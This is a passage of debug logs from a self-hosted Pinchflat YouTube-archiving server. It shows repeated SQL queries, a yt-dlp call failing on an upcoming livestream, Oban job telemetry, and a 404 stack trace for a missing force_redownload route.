s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:53.794 [debug] QUERY OK source="settings" db=0.0ms idle=127.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:53.794 [debug] Running yt-dlp command for action: get_media_attributes 18:10:53.795 [debug] QUERY OK source="settings" db=0.0ms idle=127.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:53.795 [debug] QUERY OK source="settings" db=0.0ms idle=127.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:53.796 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:53.796 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e9/da/e9daa8f3960cc5b9bbb0835f91187cb0d0dae2c912fe172cfea4e03b06147113.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:10:55.191 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e9/da/e9daa8f3960cc5b9bbb0835f91187cb0d0dae2c912fe172cfea4e03b06147113.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 15 hours. 18:10:55.191 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 15 hours.\n", 1} 18:10:55.192 [debug] QUERY OK source="media_items" db=1.0ms idle=535.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 18:10:55.193 [debug] QUERY OK source="tasks" db=0.1ms idle=315.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800388, 37, ~U[2026-02-11 00:10:55Z], ~U[2026-02-11 00:10:55Z]] 18:10:55.193 [info] {"args":{"id":37},"id":3800349,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1532047,"event":"job:stop","queue_time":175093,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:11:00.122 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:11:00.299 [info] {"source":"oban","duration":11530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:30.310 [info] {"source":"oban","duration":10526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:41.026 [info] GET /sources/2/force_redownload 18:11:41.026 [debug] QUERY OK source="settings" db=0.1ms idle=1148.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:11:41.027 [debug] QUERY OK source="settings" db=0.0ms idle=1148.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:11:41.027 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:11:41.027 [error] #PID<0.23328.0> running PinchflatWeb.Endpoint (connection #PID<0.23327.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/2/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23327.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 49394}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", "x-forwarded-for" => "181.23.229.103", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "181.23.229.103" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23328.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"}, {"x-forwarded-for", "181.23.229.103"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "181.23.229.103"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMIwGwPP9dFCE4ACadB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23327.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 49394}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", "x-forwarded-for" => "181.23.229.103", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "181.23.229.103" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23327.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 49394}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", "x-forwarded-for" => "181.23.229.103", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "181.23.229.103" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23328.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Windows N (truncated) 18:12:00.123 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:12:00.321 [info] {"source":"oban","duration":10236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:20.230 [info] GET /sources/2/media/1562897 18:12:20.230 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562897", "source_id" => "2"} Pipelines: [:browser] 18:12:20.231 [debug] QUERY OK source="media_items" db=0.2ms idle=1352.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562897] 18:12:20.231 [debug] QUERY OK source="tasks" db=0.2ms idle=489.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562897] 18:12:20.231 [debug] QUERY OK source="sources" db=0.2ms idle=353.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:12:20.232 [debug] QUERY OK source="settings" db=0.0ms idle=353.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:20.232 [debug] QUERY OK source="settings" db=0.0ms idle=353.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:20.232 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:20.232 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:12:20.233 [info] Sent 200 in 2ms 18:12:20.729 [info] GET /sources/2/media/1563743/edit 18:12:20.729 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563743", "source_id" => "2"} Pipelines: [:browser] 18:12:20.730 [debug] QUERY OK source="media_items" db=0.3ms idle=498.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563743] 18:12:20.730 [debug] QUERY OK source="settings" db=0.2ms idle=498.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:20.730 [debug] QUERY OK source="settings" db=0.0ms idle=498.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:20.731 [debug] QUERY OK source="settings" db=0.0ms idle=498.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:20.731 [info] Sent 200 in 2ms 18:12:21.230 [info] GET /sources/2/media/1563847/edit 18:12:21.230 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563847", "source_id" => "2"} Pipelines: [:browser] 18:12:21.231 [debug] QUERY OK source="media_items" db=0.1ms idle=500.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563847] 18:12:21.231 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:21.231 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:21.231 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:21.232 [info] Sent 200 in 1ms 18:12:21.731 [info] GET /sources/2/media/1563019/edit 18:12:21.731 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563019", "source_id" => "2"} Pipelines: [:browser] 18:12:21.731 [debug] QUERY OK source="media_items" db=0.1ms idle=988.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563019] 18:12:21.732 [debug] QUERY OK source="settings" db=0.0ms idle=500.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:21.732 [debug] QUERY OK source="settings" db=0.0ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:21.732 [debug] QUERY OK source="settings" db=0.0ms idle=500.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:21.732 [info] Sent 200 in 1ms 18:12:22.232 [info] GET /sources/2/media/1563025/edit 18:12:22.233 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563025", "source_id" => "2"} Pipelines: [:browser] 18:12:22.233 [debug] QUERY OK source="media_items" db=0.1ms idle=501.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563025] 18:12:22.233 [debug] QUERY OK source="settings" db=0.0ms idle=501.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:22.233 [debug] QUERY OK source="settings" db=0.0ms idle=501.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:22.234 [debug] QUERY OK source="settings" db=0.0ms idle=501.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:22.234 [info] Sent 200 in 1ms 18:12:22.733 [info] GET /sources/2/media/1563029/edit 18:12:22.733 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563029", "source_id" => "2"} Pipelines: [:browser] 18:12:22.734 [debug] QUERY OK source="media_items" db=0.1ms idle=990.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563029] 18:12:22.734 [debug] QUERY OK source="settings" db=0.0ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:22.734 [debug] QUERY OK source="settings" db=0.0ms idle=500.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:22.734 [debug] QUERY OK source="settings" db=0.0ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:22.735 [info] Sent 200 in 1ms 18:12:23.234 [info] GET /sources/2/media/1563699/edit 18:12:23.234 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563699", "source_id" => "2"} Pipelines: [:browser] 18:12:23.235 [debug] QUERY OK source="media_items" db=0.1ms idle=500.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563699] 18:12:23.235 [debug] QUERY OK source="settings" db=0.0ms idle=500.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:23.235 [debug] QUERY OK source="settings" db=0.0ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:23.235 [debug] QUERY OK source="settings" db=0.0ms idle=500.8ms SELECT s0."id", 